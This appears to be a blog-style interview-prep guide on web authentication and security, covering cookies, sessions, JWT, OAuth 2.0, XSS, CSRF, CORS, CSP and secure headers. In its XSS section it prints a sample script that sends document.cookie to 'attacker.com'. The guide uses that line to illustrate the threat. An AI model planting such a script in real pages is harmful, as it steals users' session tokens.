If you're building real-world applications β especially SaaS or full-stack apps β authentication and security are not optional. They're foundational.
This module is heavily asked in:
- Backend interviews
- Full-stack interviews
- System design rounds
- Security discussions
Letβs go deep but keep it practical.
β 3.1 Session vs Cookie vs LocalStorage
This topic confuses many developers because these things often work together.
Letβs break them clearly.
πΉ 1. What is a Cookie?
A cookie is small data stored in the browser and automatically sent with every HTTP request to the server.
Created by:
- Server (
Set-Cookieheader) - Or JavaScript (
document.cookie)
Example:
Set-Cookie: token=abc123; HttpOnly; Secure
Key Features:
- Sent automatically with every request
- Can have expiration time
- Size limit ~4KB
- Can be HTTP-only
πΉ 2. What is a Session?
A session is server-side storage of user data.
How it works:
- User logs in
- Server creates session (stores user info in memory/DB)
- Server sends session ID in a cookie
- Browser sends session ID with each request
- Server validates session ID
Important:
π Actual user data is stored on server
π Browser only stores session ID
πΉ 3. What is LocalStorage?
LocalStorage is browser storage.
localStorage.setItem("token", "abc123");
Key Features:
- Stored in browser only
- NOT sent automatically with requests
- No expiration (until manually removed)
- Accessible via JavaScript
π₯ Comparison Table
| Feature | Session | Cookie | LocalStorage |
|---|---|---|---|
| Stored where? | Server | Browser | Browser |
| Auto-sent with request? | Yes (via cookie) | Yes | No |
| Size limit | Large (server based) | ~4KB | ~5MB |
| Accessible via JS? | No | Sometimes | Yes |
| Secure option? | Yes | Yes (HttpOnly) | No |
π Security Risks
Now the important part.
1οΈβ£ XSS (Cross-Site Scripting)
If attacker injects JS:
localStorage.getItem("token");
π LocalStorage is vulnerable to XSS
π Cookies with HttpOnly are NOT accessible via JS
2οΈβ£ CSRF (Cross-Site Request Forgery)
Since cookies auto-send with request, attackers can trick users into making requests.
Solution:
- CSRF tokens
- SameSite cookies
π― When to Use What?
πΉ Sessions
Best for:
- Traditional server-rendered apps
- Banking apps
- High-security systems
Pros:
- Safer (data stored server-side)
- Easy invalidation
Cons:
- Not scalable easily (needs shared storage like Redis)
πΉ LocalStorage
Best for:
- SPAs
- Non-sensitive data
- Quick prototypes
But:
β οΈ Not recommended for sensitive tokens
πΉ HTTP-only Cookies (Best Modern Practice)
Best for:
- JWT storage
- Secure production apps
Because:
- Not accessible via JS
- Reduces XSS risk
β 3.2 JWT (JSON Web Token)
JWT is stateless authentication.
Unlike sessions:
π No server-side storage required
πΉ JWT Structure
JWT has 3 parts:
Header.Payload.Signature
Example:
xxxxx.yyyyy.zzzzz
1οΈβ£ Header
{
"alg": "HS256",
"typ": "JWT"
}
Defines algorithm used.
2οΈβ£ Payload
Contains data (claims):
{
"userId": "123",
"role": "admin",
"exp": 1716239022
}
β οΈ Important:
Payload is NOT encrypted.
It is base64 encoded.
Anyone can decode it.
Do NOT store passwords inside.
3οΈβ£ Signature
Created using:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
This ensures:
π Token not tampered
π Server verifies signature
π₯ Access Token vs Refresh Token
This is VERY important in interviews.
πΉ Access Token
- Short-lived (15 min / 1 hour)
- Used for API calls
- Sent with every request
πΉ Refresh Token
- Long-lived (7 days / 30 days)
- Used to generate new access token
- Stored securely (HTTP-only cookie recommended)
π Token Expiration
Access token contains:
"exp": 1716239022
When expired:
π Server rejects request (401)
π Token Refresh Flow (Modern Secure Flow)
Step-by-step:
User logs in
Server sends:
- Access token (short expiry)
- Refresh token (long expiry, HTTP-only cookie)
Access token expires
Frontend calls
/refreshendpointServer verifies refresh token
Server issues new access token
User continues without login again
π Why Refresh Token Should Be HTTP-only?
Because:
document.cookie
Cannot access HTTP-only cookies.
So:
π Even if XSS happens, attacker cannot steal refresh token.
π₯ Recommended Production Setup
Best modern setup:
- Access token stored in memory (not localStorage)
- Refresh token stored in HTTP-only cookie
- Short expiry access tokens
- Token rotation enabled
π§ Interview-Level Understanding
They may ask:
β Is JWT more secure than session?
Answer:
No. JWT is not automatically more secure.
Security depends on implementation.
β Why JWT is stateless?
Because server does not store user session data.
Everything is inside token.
β What happens if JWT secret leaks?
All tokens become compromised.
You must rotate secret immediately.
β How to invalidate JWT before expiration?
Options:
- Maintain blacklist
- Use short expiry
- Rotate refresh tokens
π― Final Understanding
If you deeply understand:
- Session vs Cookie vs LocalStorage
- XSS vs CSRF
- JWT structure
- Access vs Refresh tokens
- Token refresh flow
- HTTP-only cookies
You are already thinking like a backend engineer.
This is where interviews shift from βCan you code?β to
βDo you understand real-world security?β
If you're targeting serious backend or full-stack roles β this section matters a lot.
β 3.3 OAuth 2.0
OAuth 2.0 is an authorization framework, not authentication.
It allows:
π One app to access another appβs resources
π Without sharing the userβs password
Example:
βLogin with Googleβ
π§ Key Roles in OAuth
- Resource Owner β User
- Client β Your app
- Authorization Server β Google
- Resource Server β Google APIs
πΉ 1οΈβ£ Authorization Code Flow (Most Secure & Most Used)
This is the recommended flow for:
- Web apps
- Backend apps
- Production systems
π Step-by-Step Flow
Letβs say you implement Google login.
- User clicks βLogin with Googleβ
- Your app redirects user to Googleβs authorization server
- User logs in & gives permission
- Google redirects back with authorization code
- Your backend exchanges code for:
- Access token
- Refresh token
- Your server uses access token to fetch user info
Why this is secure?
Because:
- Access token is never exposed in URL
- Token exchange happens server-to-server
- Client secret stays hidden
πΉ Simplified Flow Diagram
User β Google Login Page
β Consent
β Redirect with Code
Your Backend β Exchange Code β Get Access Token
πΉ 2οΈβ£ Refresh Token Flow (OAuth)
Access tokens are short-lived.
When expired:
- Client sends refresh token to auth server
- Auth server verifies refresh token
- Issues new access token
- (Optional) Rotates refresh token
π Best Practice:
- Store refresh token securely (HTTP-only cookie)
- Rotate refresh tokens
- Revoke on logout
πΉ 3οΈβ£ Third-Party Login (Google Example)
When implementing Google login:
Step 1: Register App in Google Cloud
You get:
- Client ID
- Client Secret
Step 2: Redirect User
https://accounts.google.com/o/oauth2/v2/auth?
client_id=YOUR_CLIENT_ID
&redirect_uri=YOUR_URL
&response_type=code
&scope=profile email
Step 3: Exchange Code
Your backend sends:
POST https://oauth2.googleapis.com/token
With:
- Client ID
- Client Secret
- Authorization Code
Step 4: Receive Tokens
Google returns:
- access_token
- refresh_token
- id_token (JWT)
Step 5: Get User Info
Use access token to call:
https://www.googleapis.com/oauth2/v3/userinfo
π§ Interview Tip
They may ask:
Whatβs the difference between OAuth and JWT?
Answer:
- OAuth β Authorization framework
- JWT β Token format
OAuth can use JWT inside it.
β 3.4 Security Topics
Now we move to core security knowledge.
π₯ 1οΈβ£ XSS (Cross-Site Scripting)
XSS happens when attacker injects malicious JavaScript into your website.
Example:
<script>
fetch("http://attacker.com?cookie=" + document.cookie)
</script>
If your app allows unsafe user input β attacker steals tokens.
π‘ How to Prevent XSS
- Escape user input
- Use frameworks properly (React auto-escapes)
- Use HTTP-only cookies
- Implement Content Security Policy (CSP)
π₯ 2οΈβ£ CSRF (Cross-Site Request Forgery)
Happens when attacker tricks user into making unwanted request.
Example:
User logged into bank.
Attacker sends hidden form to transfer money.
Since cookies auto-send β request succeeds.
π‘ How to Prevent CSRF
- CSRF tokens
- SameSite cookie flag
- Double submit cookies
π₯ 3οΈβ£ CORS (Cross-Origin Resource Sharing)
CORS controls which domains can access your API.
Example:
Frontend: example.com
Backend: api.example.com
Browser blocks request unless server allows it.
Example Header:
Access-Control-Allow-Origin: https://example.com
Important:
CORS is enforced by browser, not server security itself.
π₯ 4οΈβ£ Rate Limiting
Prevents abuse like:
- Brute force attacks
- API spam
- DDoS attempts
Example:
Limit:
- 100 requests per minute per IP
Implementation Methods:
- Redis-based counters
- API gateway
- Nginx rate limit
- Express rate limiter middleware
π₯ 5οΈβ£ Content Security Policy (CSP)
CSP restricts which scripts/resources can run.
Example:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.com;
This blocks:
- Inline scripts
- Unknown external scripts
Very powerful against XSS.
π₯ 6οΈβ£ Secure Headers
Important headers:
πΉ X-Content-Type-Options
Prevents MIME sniffing.
X-Content-Type-Options: nosniff
πΉ X-Frame-Options
Prevents clickjacking.
X-Frame-Options: DENY
πΉ Strict-Transport-Security (HSTS)
Forces HTTPS.
Strict-Transport-Security: max-age=31536000
πΉ Referrer-Policy
Controls referrer information leakage.
π§ Interview-Level Summary
They may ask:
β How would you secure a production API?
Strong answer:
- Use HTTPS
- Implement JWT with short expiry
- Store refresh token in HTTP-only cookie
- Add rate limiting
- Use CSP
- Set secure headers
- Validate all inputs
- Implement CSRF protection
- Enable CORS properly
π― Final Understanding
If you understand:
- OAuth Authorization Code Flow
- Refresh token handling
- Google login flow
- XSS vs CSRF
- CORS basics
- Rate limiting
- CSP
- Secure headers
You are operating at a serious backend / full-stack level.
Top comments (0)